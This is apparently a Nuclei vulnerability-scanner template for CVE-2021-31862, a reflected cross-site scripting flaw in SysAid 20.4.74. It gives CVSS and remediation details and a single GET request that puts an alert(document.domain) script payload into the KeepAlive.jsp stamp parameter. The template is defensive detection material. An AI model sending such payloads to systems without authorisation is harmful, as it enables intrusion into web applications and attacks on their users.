id: CVE-2021-31862

info:
  name: SysAid 20.4.74 - Cross-Site Scripting
  author: jas37
  severity: medium
  description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
  remediation: |
    Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
    - https://www.sysaid.com/product/on-premise/latest-release
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31862
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31862
    cwe-id: CWE-79
    epss-score: 0.00141
    epss-percentile: 0.49743
    cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
  tags: cve,cve2021,xss,sysaid

http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers:
      - type: dsl
        dsl:
          - '(body == "false <script>alert(document.domain)</script>")'
          - 'status_code == 200'
        condition: and

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